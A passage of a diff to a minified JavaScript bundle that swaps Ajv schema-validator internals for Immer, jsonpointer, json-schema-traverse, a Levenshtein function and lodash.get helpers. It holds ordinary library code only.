e12.i[t10] = i9, e12.N[t10] = false, true; + if (d7(i9, r9) && (void 0 !== i9 || a7(e12.u, t10))) + return true; + k6(e12), q5(e12); } - invalid$data() { - const { gen: e12, schemaCode: t10, schemaType: i9, def: n9, it: r9 } = this; - return (0, d7.or)(function() { - if (i9.length) { - if (!(t10 instanceof d7.Name)) - throw new Error("ajv implementation error"); - const e13 = Array.isArray(i9) ? i9 : [i9]; - return d7._`${(0, s7.checkDataTypes)(e13, t10, r9.opts.strictNumbers, s7.DataType.Wrong)}`; + return e12.i[t10] === i9 && (void 0 !== i9 || t10 in e12.i) || Number.isNaN(i9) && Number.isNaN(e12.i[t10]) || (e12.i[t10] = i9, e12.N[t10] = true), true; + }, deleteProperty: function(e12, t10) { + return void 0 !== I6(e12.u, t10) || t10 in e12.u ? (e12.N[t10] = false, k6(e12), q5(e12)) : delete e12.N[t10], e12.i && delete e12.i[t10], true; + }, getOwnPropertyDescriptor: function(e12, t10) { + var i9 = u7(e12), n9 = Reflect.getOwnPropertyDescriptor(i9, t10); + return n9 ? { writable: true, configurable: 1 !== e12.t || "length" !== t10, enumerable: n9.enumerable, value: i9[t10] } : n9; + }, defineProperty: function() { + i8(11); + }, getPrototypeOf: function(e12) { + return Object.getPrototypeOf(e12.u); + }, setPrototypeOf: function() { + i8(12); + } }, te4 = {}; + o7(ee4, function(e12, t10) { + te4[e12] = function() { + return arguments[0] = arguments[0][0], t10.apply(this, arguments); + }; + }), te4.deleteProperty = function(e12, t10) { + return te4.set.call(this, e12, t10, void 0); + }, te4.set = function(e12, t10, i9) { + return ee4.set.call(this, e12[0], t10, i9, e12[0]); + }; + var ie3 = function() { + function e12(e13) { + var t11 = this; + this.S = Q5, this.D = true, this.produce = function(e14, n9, o8) { + if ("function" == typeof e14 && "function" != typeof n9) { + var s8 = n9; + n9 = e14; + var a8 = t11; + return function(e15) { + var t12 = this; + void 0 === e15 && (e15 = s8); + for (var i9 = arguments.length, r9 = Array(i9 > 1 ? i9 - 1 : 0), o9 = 1; o9 < i9; o9++) + r9[o9 - 1] = arguments[o9]; + return a8.produce(e15, function(e16) { + var i10; + return (i10 = n9).call.apply(i10, [t12, e16].concat(r9)); + }); + }; } - return d7.nil; - }(), function() { - if (n9.validateSchema) { - const i10 = e12.scopeValue("validate$data", { ref: n9.validateSchema }); - return d7._`!${i10}(${t10})`; + var p8; + if ("function" != typeof n9 && i8(6), void 0 !== o8 && "function" != typeof o8 && i8(7), r8(e14)) { + var c8 = w6(t11), d8 = M6(t11, e14, void 0), f9 = true; + try { + p8 = n9(d8), f9 = false; + } finally { + f9 ? x7(c8) : _6(c8); + } + return "undefined" != typeof Promise && p8 instanceof Promise ? p8.then(function(e15) { + return $5(c8, o8), P6(e15, c8); + }, function(e15) { + throw x7(c8), e15; + }) : ($5(c8, o8), P6(p8, c8)); } - return d7.nil; - }()); + if (!e14 || "object" != typeof e14) { + if (void 0 === (p8 = n9(e14)) && (p8 = e14), p8 === K5 && (p8 = void 0), t11.D && h8(p8, true), o8) { + var l8 = [], u8 = []; + b8("Patches").M(e14, p8, l8, u8), o8(l8, u8); + } + return p8; + } + i8(21, e14); + }, this.produceWithPatches = function(e14, i9) { + if ("function" == typeof e14) + return function(i10) { + for (var n10 = arguments.length, r10 = Array(n10 > 1 ? n10 - 1 : 0), o9 = 1; o9 < n10; o9++) + r10[o9 - 1] = arguments[o9]; + return t11.produceWithPatches(i10, function(t12) { + return e14.apply(void 0, [t12].concat(r10)); + }); + }; + var n9, r9, o8 = t11.produce(e14, i9, function(e15, t12) { + n9 = e15, r9 = t12; + }); + return "undefined" != typeof Promise && o8 instanceof Promise ? o8.then(function(e15) { + return [e15, n9, r9]; + }) : [o8, n9, r9]; + }, "boolean" == typeof (null == e13 ? void 0 : e13.useProxies) && this.setUseProxies(e13.useProxies), "boolean" == typeof (null == e13 ? void 0 : e13.autoFreeze) && this.setAutoFreeze(e13.autoFreeze); } - subschema(e12, t10) { - const i9 = (0, c7.getSubschema)(this.it, e12); - (0, c7.extendSubschemaData)(i9, this.it, e12), (0, c7.extendSubschemaMode)(i9, e12); - const r9 = { ...this.it, ...i9, items: void 0, props: void 0 }; - return function(e13, t11) { - b8(e13) && (v8(e13), g7(e13)) ? function(e14, t12) { - const { schema: i10, gen: n9, opts: r10 } = e14; - r10.$comment && i10.$comment && $5(e14), function(e15) { - const t13 = e15.schema[e15.opts.schemaId]; - t13 && (e15.baseId = (0, l7.resolveUrl)(e15.opts.uriResolver, e15.baseId, t13)); - }(e14), function(e15) { - if (e15.schema.$async && !e15.schemaEnv.$async) - throw new Error("async schema in sync schema"); - }(e14); - const o8 = n9.const("_errs", f8.default.errors); - j6(e14, o8), n9.var(t12, d7._`${o8} === ${f8.default.errors}`); - }(e13, t11) : (0, n8.boolOrEmptySchema)(e13, t11); - }(r9, t10), r9; + var t10 = e12.prototype; + return t10.createDraft = function(e13) { + r8(e13) || i8(8), n8(e13) && (e13 = R6(e13)); + var t11 = w6(this), o8 = M6(this, e13, void 0); + return o8[G5].C = true, _6(t11), o8; + }, t10.finishDraft = function(e13, t11) { + var i9 = (e13 && e13[G5]).A; + return $5(i9, t11), P6(void 0, i9); + }, t10.setAutoFreeze = function(e13) { + this.D = e13; + }, t10.setUseProxies = function(e13) { + e13 && !Q5 && i8(20), this.S = e13; + }, t10.applyPatches = function(e13, t11) { + var i9; + for (i9 = t11.length - 1; i9 >= 0; i9--) { + var r9 = t11[i9]; + if (0 === r9.path.length && "replace" === r9.op) { + e13 = r9.value; + break; + } + } + i9 > -1 && (t11 = t11.slice(i9 + 1)); + var o8 = b8("Patches").W; + return n8(e13) ? o8(e13, t11) : this.produce(e13, function(e14) { + return o8(e14, t11); + }); + }, e12; + }(), ne4 = new ie3(), re4 = ne4.produce, oe4 = ne4.produceWithPatches.bind(ne4), se4 = ne4.setAutoFreeze.bind(ne4), ae4 = ne4.setUseProxies.bind(ne4), pe4 = ne4.applyPatches.bind(ne4), ce4 = ne4.createDraft.bind(ne4), de4 = ne4.finishDraft.bind(ne4); + t9.Immer = ie3, t9.applyPatches = pe4, t9.castDraft = function(e12) { + return e12; + }, t9.castImmutable = function(e12) { + return e12; + }, t9.createDraft = ce4, t9.current = R6, t9.default = re4, t9.enableAllPlugins = function() { + C6(), N6(), V5(); + }, t9.enableES5 = C6, t9.enableMapSet = N6, t9.enablePatches = V5, t9.finishDraft = de4, t9.freeze = h8, t9.immerable = H5, t9.isDraft = n8, t9.isDraftable = r8, t9.nothing = K5, t9.original = function(e12) { + return n8(e12) || i8(23, e12), e12[G5].u; + }, t9.produce = re4, t9.produceWithPatches = oe4, t9.setAutoFreeze = se4, t9.setUseProxies = ae4; + }, 79725: (e11, t9, i8) => { + "use strict"; + e11.exports = i8(58712); + }, 66986: (e11, t9, i8) => { + "use strict"; + var n8 = i8(78554), r8 = i8(77575)(), o7 = i8(3468), s7 = { assert: function(e12, t10) { + if (!e12 || "object" != typeof e12 && "function" != typeof e12) + throw new o7("`O` is not an object"); + if ("string" != typeof t10) + throw new o7("`slot` must be a string"); + if (r8.assert(e12), !s7.has(e12, t10)) + throw new o7("`" + t10 + "` is not present on `O`"); + }, get: function(e12, t10) { + if (!e12 || "object" != typeof e12 && "function" != typeof e12) + throw new o7("`O` is not an object"); + if ("string" != typeof t10) + throw new o7("`slot` must be a string"); + var i9 = r8.get(e12); + return i9 && i9["$" + t10]; + }, has: function(e12, t10) { + if (!e12 || "object" != typeof e12 && "function" != typeof e12) + throw new o7("`O` is not an object"); + if ("string" != typeof t10) + throw new o7("`slot` must be a string"); + var i9 = r8.get(e12); + return !!i9 && n8(i9, "$" + t10); + }, set: function(e12, t10, i9) { + if (!e12 || "object" != typeof e12 && "function" != typeof e12) + throw new o7("`O` is not an object"); + if ("string" != typeof t10) + throw new o7("`slot` must be a string"); + var n9 = r8.get(e12); + n9 || (n9 = {}, r8.set(e12, n9)), n9["$" + t10] = i9; + } }; + Object.freeze && Object.freeze(s7), e11.exports = s7; + }, 89617: (e11) => { + "use strict"; + var t9, i8, n8 = Function.prototype.toString, r8 = "object" == typeof Reflect && null !== Reflect && Reflect.apply; + if ("function" == typeof r8 && "function" == typeof Object.defineProperty) + try { + t9 = Object.defineProperty({}, "length", { get: function() { + throw i8; + } }), i8 = {}, r8(function() { + throw 42; + }, null, t9); + } catch (e12) { + e12 !== i8 && (r8 = null); } - mergeEvaluated(e12, t10) { - const { it: i9, gen: n9 } = this; - i9.opts.unevaluated && (true !== i9.props && void 0 !== e12.props && (i9.props = u7.mergeEvaluated.props(n9, e12.props, i9.props, t10)), true !== i9.items && void 0 !== e12.items && (i9.items = u7.mergeEvaluated.items(n9, e12.items, i9.items, t10))); + else + r8 = null; + var o7 = /^\s*class\b/, s7 = function(e12) { + try { + var t10 = n8.call(e12); + return o7.test(t10); + } catch (e13) { + return false; } - mergeValidEvaluated(e12, t10) { - const { it: i9, gen: n9 } = this; - if (i9.opts.unevaluated && (true !== i9.props || true !== i9.items)) - return n9.if(t10, () => this.mergeEvaluated(e12, d7.Name)), true; + }, a7 = function(e12) { + try { + return !s7(e12) && (n8.call(e12), true); + } catch (e13) { + return false; } + }, p7 = Object.prototype.toString, c7 = "function" == typeof Symbol && !!Symbol.toStringTag, d7 = !(0 in [,]), f8 = function() { + return false; + }; + if ("object" == typeof document) { + var l7 = document.all; + p7.call(l7) === p7.call(document.all) && (f8 = function(e12) { + if ((d7 || !e12) && (void 0 === e12 || "object" == typeof e12)) + try { + var t10 = p7.call(e12); + return ("[object HTMLAllCollection]" === t10 || "[object HTML document.all class]" === t10 || "[object HTMLCollection]" === t10 || "[object Object]" === t10) && null == e12(""); + } catch (e13) { + } + return false; + }); } - function O7(e12, t10, i9, n9) { - const r9 = new P6(e12, i9, t10); - "code" in i9 ? i9.code(r9, n9) : r9.$data && i9.validate ? (0, p7.funcKeywordCode)(r9, i9) : "macro" in i9 ? (0, p7.macroKeywordCode)(r9, i9) : (i9.compile || i9.validate) && (0, p7.funcKeywordCode)(r9, i9); - } - t9.KeywordCxt = P6; - const T6 = /^\/(?:[^~]|~0|~1)*$/, A6 = /^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/; - function I6(e12, { dataLevel: t10, dataNames: i9, dataPathArr: n9 }) { - let r9, o8; - if ("" === e12) - return f8.default.rootData; - if ("/" === e12[0]) { - if (!T6.test(e12)) - throw new Error(`Invalid JSON-pointer: ${e12}`); - r9 = e12, o8 = f8.default.rootData; - } else { - const s9 = A6.exec(e12); - if (!s9) - throw new Error(`Invalid JSON-pointer: ${e12}`); - const a9 = +s9[1]; - if (r9 = s9[2], "#" === r9) { - if (a9 >= t10) - throw new Error(p8("property/index", a9)); - return n9[t10 - a9]; - } - if (a9 > t10) - throw new Error(p8("data", a9)); - if (o8 = i9[t10 - a9], !r9) - return o8; + e11.exports = r8 ? function(e12) { + if (f8(e12)) + return true; + if (!e12) + return false; + if ("function" != typeof e12 && "object" != typeof e12) + return false; + try { + r8(e12, null, t9); + } catch (e13) { + if (e13 !== i8) + return false; } - let s8 = o8; - const a8 = r9.split("/"); - for (const e13 of a8) - e13 && (o8 = d7._`${o8}${(0, d7.getProperty)((0, u7.unescapeJsonPointer)(e13))}`, s8 = d7._`${s8} && ${o8}`); - return s8; - function p8(e13, i10) { - return `Cannot access ${e13} ${i10} levels up, current level is ${t10}`; + return !s7(e12) && a7(e12); + } : function(e12) { + if (f8(e12)) + return true; + if (!e12) + return false; + if ("function" != typeof e12 && "object" != typeof e12) + return false; + if (c7) + return a7(e12); + if (s7(e12)) + return false; + var t10 = p7.call(e12); + return !("[object Function]" !== t10 && "[object GeneratorFunction]" !== t10 && !/^\[object HTML/.test(t10)) && a7(e12); + }; + }, 8120: (e11, t9, i8) => { + "use strict"; + var n8 = String.prototype.valueOf, r8 = Object.prototype.toString, o7 = i8(51913)(); + e11.exports = function(e12) { + return "string" == typeof e12 || "object" == typeof e12 && (o7 ? function(e13) { + try { + return n8.call(e13), true; + } catch (e14) { + return false; + } + }(e12) : "[object String]" === r8.call(e12)); + }; + }, 1645: (e11) => { + "use strict"; + var t9 = e11.exports = function(e12, t10, n8) { + "function" == typeof t10 && (n8 = t10, t10 = {}), i8(t10, "function" == typeof (n8 = t10.cb || n8) ? n8 : n8.pre || function() { + }, n8.post || function() { + }, e12, "", e12); + }; + function i8(e12, n8, r8, o7, s7, a7, p7, c7, d7, f8) { + if (o7 && "object" == typeof o7 && !Array.isArray(o7)) { + for (var l7 in n8(o7, s7, a7, p7, c7, d7, f8), o7) { + var u7 = o7[l7]; + if (Array.isArray(u7)) { + if (l7 in t9.arrayKeywords) + for (var m7 = 0; m7 < u7.length; m7++) + i8(e12, n8, r8, u7[m7], s7 + "/" + l7 + "/" + m7, a7, s7, l7, o7, m7); + } else if (l7 in t9.propsKeywords) { + if (u7 && "object" == typeof u7) + for (var h8 in u7) + i8(e12, n8, r8, u7[h8], s7 + "/" + l7 + "/" + h8.replace(/~/g, "~0").replace(/\//g, "~1"), a7, s7, l7, o7, h8); + } else + (l7 in t9.keywords || e12.allKeys && !(l7 in t9.skipKeywords)) && i8(e12, n8, r8, u7, s7 + "/" + l7, a7, s7, l7, o7); + } + r8(o7, s7, a7, p7, c7, d7, f8); } } - t9.getData = I6; - }, 49348: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.validateKeywordUsage = t9.validSchemaType = t9.funcKeywordCode = t9.macroKeywordCode = void 0; - const n8 = i8(17898), r8 = i8(63036), o7 = i8(94450), s7 = i8(49409); - function a7(e12) { - const { gen: t10, data: i9, it: r9 } = e12; - t10.if(r9.parentData, () => t10.assign(i9, n8._`${r9.parentData}[${r9.parentDataProperty}]`)); + t9.keywords = { additionalItems: true, items: true, contains: true, additionalProperties: true, propertyNames: true, not: true, if: true, then: true, else: true }, t9.arrayKeywords = { items: true, allOf: true, anyOf: true, oneOf: true }, t9.propsKeywords = { $defs: true, definitions: true, properties: true, patternProperties: true, dependencies: true }, t9.skipKeywords = { default: true, enum: true, const: true, required: true, maximum: true, minimum: true, exclusiveMaximum: true, exclusiveMinimum: true, multipleOf: true, maxLength: true, minLength: true, pattern: true, format: true, maxItems: true, minItems: true, uniqueItems: true, maxProperties: true, minProperties: true }; + }, 45838: (e11, t9) => { + var i8 = /~/, n8 = /~[01]/g; + function r8(e12) { + switch (e12) { + case "~1": + return "/"; + case "~0": + return "~"; + } + throw new Error("Invalid tilde escape: " + e12); } - function p7(e12, t10, i9) { - if (void 0 === i9) - throw new Error(`keyword "${t10}" failed to compile`); - return e12.scopeValue("keyword", "function" == typeof i9 ? { ref: i9 } : { ref: i9, code: (0, n8.stringify)(i9) }); + function o7(e12) { + return i8.test(e12) ? e12.replace(n8, r8) : e12; } - t9.macroKeywordCode = function(e12, t10) { - const { gen: i9, keyword: r9, schema: o8, parentSchema: s8, it: a8 } = e12, c7 = t10.macro.call(a8.self, o8, s8, a8), d7 = p7(i9, r9, c7); - false !== a8.opts.validateSchema && a8.self.validateSchema(c7, true); - const f8 = i9.name("valid"); - e12.subschema({ schema: c7, schemaPath: n8.nil, errSchemaPath: `${a8.errSchemaPath}/${r9}`, topSchemaRef: d7, compositeRule: true }, f8), e12.pass(f8, () => e12.error(true)); - }, t9.funcKeywordCode = function(e12, t10) { - var i9; - const { gen: c7, keyword: d7, schema: f8, parentSchema: l7, $data: u7, it: m7 } = e12; - !function({ schemaEnv: e13 }, t11) { - if (t11.async && !e13.$async) - throw new Error("async keyword in sync schema"); - }(m7, t10); - const h8 = !u7 && t10.compile ? t10.compile.call(m7.self, f8, l7, m7) : t10.validate, y7 = p7(c7, d7, h8), g7 = c7.let("valid"); - function b8(i10 = t10.async ? n8._`await ` : n8.nil) { - const s8 = m7.opts.passContext ? r8.default.this : r8.default.self, a8 = !("compile" in t10 && !u7 || false === t10.schema); - c7.assign(g7, n8._`${i10}${(0, o7.callValidateCode)(e12, y7, s8, a8)}`, t10.modifying); + function s7(e12) { + if ("string" == typeof e12) { + if ("" === (e12 = e12.split("/"))[0]) + return e12; + throw new Error("Invalid JSON pointer."); } - function v8(e13) { - var i10; - c7.if((0, n8.not)(null !== (i10 = t10.valid) && void 0 !== i10 ? i10 : g7), e13); + if (Array.isArray(e12)) { + for (const t10 of e12) + if ("string" != typeof t10 && "number" != typeof t10) + throw new Error("Invalid JSON pointer. Must be of type string or number."); + return e12; } - e12.block$data(g7, function() { - if (false === t10.errors) - b8(), t10.modifying && a7(e12), v8(() => e12.error()); - else { - const i10 = t10.async ? function() { - const e13 = c7.let("ruleErrs", null); - return c7.try(() => b8(n8._`await `), (t11) => c7.assign(g7, false).if(n8._`${t11} instanceof ${m7.ValidationError}`, () => c7.assign(e13, n8._`${t11}.errors`), () => c7.throw(t11))), e13; - }() : function() { - const e13 = n8._`${y7}.errors`; - return c7.assign(e13, null), b8(n8.nil), e13; - }(); - t10.modifying && a7(e12), v8(() => function(e13, t11) { - const { gen: i11 } = e13; - i11.if(n8._`Array.isArray(${t11})`, () => { - i11.assign(r8.default.vErrors, n8._`${r8.default.vErrors} === null ? ${t11} : ${r8.default.vErrors}.concat(${t11})`).assign(r8.default.errors, n8._`${r8.default.vErrors}.length`), (0, s7.extendErrors)(e13); - }, () => e13.error()); - }(e12, i10)); - } - }), e12.ok(null !== (i9 = t10.valid) && void 0 !== i9 ? i9 : g7); - }, t9.validSchemaType = function(e12, t10, i9 = false) { - return !t10.length || t10.some((t11) => "array" === t11 ? Array.isArray(e12) : "object" === t11 ? e12 && "object" == typeof e12 && !Array.isArray(e12) : typeof e12 == t11 || i9 && void 0 === e12); - }, t9.validateKeywordUsage = function({ schema: e12, opts: t10, self: i9, errSchemaPath: n9 }, r9, o8) { - if (Array.isArray(r9.keyword) ? !r9.keyword.includes(o8) : r9.keyword !== o8) - throw new Error("ajv implementation error"); - const s8 = r9.dependencies; - if (null == s8 ? void 0 : s8.some((t11) => !Object.prototype.hasOwnProperty.call(e12, t11))) - throw new Error(`parent schema must have dependencies of ${o8}: ${s8.join(",")}`); - if (r9.validateSchema && !r9.validateSchema(e12[o8])) { - const e13 = `keyword "${o8}" value is invalid at path "${n9}": ` + i9.errorsText(r9.validateSchema.errors); - if ("log" !== t10.validateSchema) - throw new Error(e13); - i9.logger.error(e13); + throw new Error("Invalid JSON pointer."); + } + function a7(e12, t10) { + if ("object" != typeof e12) + throw new Error("Invalid input object."); + var i9 = (t10 = s7(t10)).length; + if (1 === i9) + return e12; + for (var n9 = 1; n9 < i9; ) { + if (e12 = e12[o7(t10[n9++])], i9 === n9) + return e12; + if ("object" != typeof e12 || null === e12) + return; } + } + function p7(e12, t10, i9) { + if ("object" != typeof e12) + throw new Error("Invalid input object."); + if (0 === (t10 = s7(t10)).length) + throw new Error("Invalid JSON pointer for set."); + return function(e13, t11, i10) { + for (var n9, r9, s8 = 1, a8 = t11.length; s8 < a8; ) { + if ("constructor" === t11[s8] || "prototype" === t11[s8] || "__proto__" === t11[s8]) + return e13; + if (n9 = o7(t11[s8++]), r9 = a8 > s8, void 0 === e13[n9] && (Array.isArray(e13) && "-" === n9 && (n9 = e13.length), r9 && ("" !== t11[s8] && t11[s8] < 1 / 0 || "-" === t11[s8] ? e13[n9] = [] : e13[n9] = {})), !r9) + break; + e13 = e13[n9]; + } + var p8 = e13[n9]; + return void 0 === i10 ? delete e13[n9] : e13[n9] = i10, p8; + }(e12, t10, i9); + } + t9.get = a7, t9.set = p7, t9.compile = function(e12) { + var t10 = s7(e12); + return { get: function(e13) { + return a7(e13, t10); + }, set: function(e13, i9) { + return p7(e13, t10, i9); + } }; }; - }, 53322: (e11, t9, i8) => { + }, 76502: (e11) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.extendSubschemaMode = t9.extendSubschemaData = t9.getSubschema = void 0; - const n8 = i8(17898), r8 = i8(50458); - t9.getSubschema = function(e12, { keyword: t10, schemaProp: i9, schema: o7, schemaPath: s7, errSchemaPath: a7, topSchemaRef: p7 }) { - if (void 0 !== t10 && void 0 !== o7) - throw new Error('both "keyword" and "schema" passed, only one allowed'); - if (void 0 !== t10) { - const o8 = e12.schema[t10]; - return void 0 === i9 ? { schema: o8, schemaPath: n8._`${e12.schemaPath}${(0, n8.getProperty)(t10)}`, errSchemaPath: `${e12.errSchemaPath}/${t10}` } : { schema: o8[i9], schemaPath: n8._`${e12.schemaPath}${(0, n8.getProperty)(t10)}${(0, n8.getProperty)(i9)}`, errSchemaPath: `${e12.errSchemaPath}/${t10}/${(0, r8.escapeFragment)(i9)}` }; + const t9 = [], i8 = [], n8 = (e12, n9) => { + if (e12 === n9) + return 0; + const r8 = e12; + e12.length > n9.length && (e12 = n9, n9 = r8); + let o7 = e12.length, s7 = n9.length; + for (; o7 > 0 && e12.charCodeAt(~-o7) === n9.charCodeAt(~-s7); ) + o7--, s7--; + let a7, p7, c7, d7, f8 = 0; + for (; f8 < o7 && e12.charCodeAt(f8) === n9.charCodeAt(f8); ) + f8++; + if (o7 -= f8, s7 -= f8, 0 === o7) + return s7; + let l7 = 0, u7 = 0; + for (; l7 < o7; ) + i8[l7] = e12.charCodeAt(f8 + l7), t9[l7] = ++l7; + for (; u7 < s7; ) + for (a7 = n9.charCodeAt(f8 + u7), c7 = u7++, p7 = u7, l7 = 0; l7 < o7; l7++) + d7 = a7 === i8[l7] ? c7 : c7 + 1, c7 = t9[l7], p7 = t9[l7] = c7 > p7 ? d7 > p7 ? p7 + 1 : d7 : d7 > c7 ? c7 + 1 : d7; + return p7; + }; + e11.exports = n8, e11.exports.default = n8; + }, 86981: (e11, t9, i8) => { + var n8, r8 = "__lodash_hash_undefined__", o7 = "[object Function]", s7 = "[object GeneratorFunction]", a7 = "[object Symbol]", p7 = /^\./, c7 = /[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g, d7 = /\\(\\)?/g, f8 = /^\[object .+?Constructor\]$/, l7 = "object" == typeof i8.g && i8.g && i8.g.Object === Object && i8.g, u7 = "object" == typeof self && self && self.Object === Object && self, m7 = l7 || u7 || Function("return this")(), h8 = Array.prototype, y7 = Function.prototype, g7 = Object.prototype, b8 = m7["__core-js_shared__"], v8 = (n8 = /[^.]+$/.exec(b8 && b8.keys && b8.keys.IE_PROTO || "")) ? "Symbol(src)_1." + n8 : "", j6 = y7.toString, $5 = g7.hasOwnProperty, x7 = g7.toString, _6 = RegExp("^" + j6.call($5).replace(/[\\^$.*+?()[\]{}|]/g, "\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, "$1.*?") + "$"), w6 = m7.Symbol, S6 = h8.splice, P6 = R6(m7, "Map"), O7 = R6(Object, "create"), T6 = w6 ? w6.prototype : void 0, A6 = T6 ? T6.toString : void 0; + function I6(e12) { + var t10 = -1, i9 = e12 ? e12.length : 0; + for (this.clear(); ++t10 < i9; ) { + var n9 = e12[t10]; + this.set(n9[0], n9[1]); } - if (void 0 !== o7) { - if (void 0 === s7 || void 0 === a7 || void 0 === p7) - throw new Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"'); - return { schema: o7, schemaPath: s7, topSchemaRef: p7, errSchemaPath: a7 }; + } + function E6(e12) { + var t10 = -1, i9 = e12 ? e12.length : 0; + for (this.clear(); ++t10 < i9; ) { + var n9 = e12[t10]; + this.set(n9[0], n9[1]); } - throw new Error('either "keyword" or "schema" must be passed'); - }, t9.extendSubschemaData = function(e12, t10, { dataProp: i9, dataPropType: o7, data: s7, dataTypes: a7, propertyName: p7 }) { - if (void 0 !== s7 && void 0 !== i9) - throw new Error('both "data" and "dataProp" passed, only one allowed'); - const { gen: c7 } = t10; - if (void 0 !== i9) { - const { errorPath: s8, dataPathArr: a8, opts: p8 } = t10; - d7(c7.let("data", n8._`${t10.data}${(0, n8.getProperty)(i9)}`, true)), e12.errorPath = n8.str`${s8}${(0, r8.getErrorPath)(i9, o7, p8.jsPropertySyntax)}`, e12.parentDataProperty = n8._`${i9}`, e12.dataPathArr = [...a8, e12.parentDataProperty]; + } + function q5(e12) { + var t10 = -1, i9 = e12 ? e12.length : 0; + for (this.clear(); ++t10 < i9; ) { + var n9 = e12[t10]; + this.set(n9[0], n9[1]); } - function d7(i10) { - e12.data = i10, e12.dataLevel = t10.dataLevel + 1, e12.dataTypes = [], t10.definedProperties = /* @__PURE__ */ new Set(), e12.parentData = t10.data, e12.dataNames = [...t10.dataNames, i10]; + } + function k6(e12, t10) { + for (var i9, n9, r9 = e12.length; r9--; ) + if ((i9 = e12[r9][0]) === (n9 = t10) || i9 != i9 && n9 != n9) + return r9; + return -1; + } + function M6(e12, t10) { + var i9, n9, r9 = e12.__data__; + return ("string" == (n9 = typeof (i9 = t10)) || "number" == n9 || "symbol" == n9 || "boolean" == n9 ? "__proto__" !== i9 : null === i9) ? r9["string" == typeof t10 ? "string" : "hash"] : r9.map; + } + function R6(e12, t10) { + var i9 = function(e13, t11) { + return null == e13 ? void 0 : e13[t11]; + }(e12, t10); + return function(e13) { + if (!F6(e13) || v8 && v8 in e13) + return false; + var t11 = function(e14) { + var t12 = F6(e14) ? x7.call(e14) : ""; + return t12 == o7 || t12 == s7; + }(e13) || function(e14) { + var t12 = false; + if (null != e14 && "function" != typeof e14.toString) + try { + t12 = !!(e14 + ""); + } catch (e15) { + } + return t12; + }(e13) ? _6 : f8; + return t11.test(function(e14) { + if (null != e14) { + try { + return j6.call(e14); + } catch (e15) { + } + try { + return e14 + ""; + } catch (e15) { + } + } + return ""; + }(e13)); + }(i9) ? i9 : void 0; + } + I6.prototype.clear = function() { + this.__data__ = O7 ? O7(null) : {}; + }, I6.prototype.delete = function(e12) { + return this.has(e12) && delete this.__data__[e12]; + }, I6.prototype.get = function(e12) { + var t10 = this.__data__; + if (O7) { + var i9 = t10[e12]; + return i9 === r8 ? void 0 : i9; } - void 0 !== s7 && (d7(s7 instanceof n8.Name ? s7 : c7.let("data", s7, true)), void 0 !== p7 && (e12.propertyName = p7)), a7 && (e12.dataTypes = a7); - }, t9.extendSubschemaMode = function(e12, { jtdDiscriminator: t10, jtdMetadata: i9, compositeRule: n9, createErrors: r9, allErrors: o7 }) { - void 0 !== n9 && (e12.compositeRule = n9), void 0 !== r9 && (e12.createErrors = r9), void 0 !== o7 && (e12.allErrors = o7), e12.jtdDiscriminator = t10, e12.jtdMetadata = i9; + return $5.call(t10, e12) ? t10[e12] : void 0; + }, I6.prototype.has = function(e12) { + var t10 = this.__data__; + return O7 ? void 0 !== t10[e12] : $5.call(t10, e12); + }, I6.prototype.set = function(e12, t10) { + return this.__data__[e12] = O7 && void 0 === t10 ? r8 : t10, this; + }, E6.prototype.clear = function() { + this.__data__ = []; + }, E6.prototype.delete = function(e12) { + var t10 = this.__data__, i9 = k6(t10, e12); + return !(i9 < 0 || (i9 == t10.length - 1 ? t10.pop() : S6.call(t10, i9, 1), 0)); + }, E6.prototype.get = function(e12) { + var t10 = this.__data__, i9 = k6(t10, e12); + return i9 < 0 ? void 0 : t10[i9][1]; + }, E6.prototype.has = function(e12) { + return k6(this.__data__, e12) > -1; + }, E6.prototype.set = function(e12, t10) { + var i9 = this.__data__, n9 = k6(i9, e12); + return n9 < 0 ? i9.push([e12, t10]) : i9[n9][1] = t10, this; + }, q5.prototype.clear = function() { + this.__data__ = { hash: new I6(), map: new (P6 || E6)(), string: new I6() }; + }, q5.prototype.delete = function(e12) { + return M6(this, e12).delete(e12); + }, q5.prototype.get = function(e12) { + return M6(this, e12).get(e12); + }, q5.prototype.has = function(e12) { + return M6(this, e12).has(e12); + }, q5.prototype.set = function(e12, t10) { + return M6(this, e12).set(e12, t10), this; }; - }, 65319: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = void 0; - var n8 = i8(96223); - Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { - return n8.KeywordCxt; - } }); - var r8 = i8(17898); - Object.defineProperty(t9, "_", { enumerable: true, get: function() { - return r8._; - } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { - return r8.str; - } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { - return r8.stringify; - } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { - return r8.nil; - } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { - return r8.Name; - } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { - return r8.CodeGen; - } }); - const o7 = i8(95031), s7 = i8(85748), a7 = i8(90383), p7 = i8(49392), c7 = i8(17898), d7 = i8(14856), f8 = i8(69003), l7 = i8(50458), u7 = i8(93770), m7 = i8(7903), h8 = (e12, t10) => new RegExp(e12, t10); - h8.code = "new RegExp"; - const y7 = ["removeAdditional", "useDefaults", "coerceTypes"], g7 = /* @__PURE__ */ new Set(["validate", "serialize", "parse", "wrapper", "root", "schema", "keyword", "pattern", "formats", "validate$data", "func", "obj", "Error"]), b8 = { errorDataPath: "", format: "`validateFormats: false` can be used instead.", nullable: '"nullable" keyword is supported by default.', jsonPointers: "Deprecated jsPropertySyntax can be used instead.", extendRefs: "Deprecated ignoreKeywordsWithRef can be used instead.", missingRefs: "Pass empty schema with $id that should be ignored to ajv.addSchema.", processCode: "Use option `code: {process: (code, schemaEnv: object) => string}`", sourceCode: "Use option `code: {source: true}`", strictDefaults: "It is default now, see option `strict`.", strictKeywords: "It is default now, see option `strict`.", uniqueItems: '"uniqueItems" keyword is always validated.', unknownFormats: "Disable strict mode or pass `true` to `ajv.addFormat` (or 